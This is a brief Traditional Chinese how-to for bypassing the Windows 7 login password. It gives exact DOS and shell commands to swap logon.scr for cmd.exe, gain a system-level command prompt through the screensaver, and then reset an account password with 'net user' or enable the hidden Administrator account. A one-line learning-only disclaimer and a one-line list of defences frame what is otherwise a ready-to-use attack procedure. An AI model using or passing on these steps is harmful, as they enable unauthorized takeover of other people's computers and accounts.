破解 Win7 開機登入密碼：利用 DOS 啟動盤替換 logon.scr 為 cmd.exe

僅供學習系統原理，嚴禁用於非法入侵。 利用 DOS 啟動盤進入純 DOS 環境，備份並替換 C:\Windows\System32\logon.scr 為 cmd.exe，重開機觸發螢幕保護程式即獲得系統權限命令提示字元，可重設密碼或建立管理員帳號。

操作原理與步驟

1. DOS 啟動盤開機 → 切換至 C:\Windows\System32。
2. 備份：mkdir temphack & copy logon.scr temphack & copy cmd.exe temphack。
3. 替換：del logon.scr & rename cmd.exe logon.scr。
4. 重開機 → 等待螢幕保護程式啟動 (約 10 分鐘) → 進入 cmd.exe 權限提示字元。
5. 重設密碼：net user 管理員帳號 新密碼；或啟用隱藏 Administrator：net user administrator /active:yes。
6. 輸入 explorer 進入桌面。

防範：設定 BIOS 密碼、鎖定開機序、加密系統分區 (BitLocker) 可防止此類攻擊。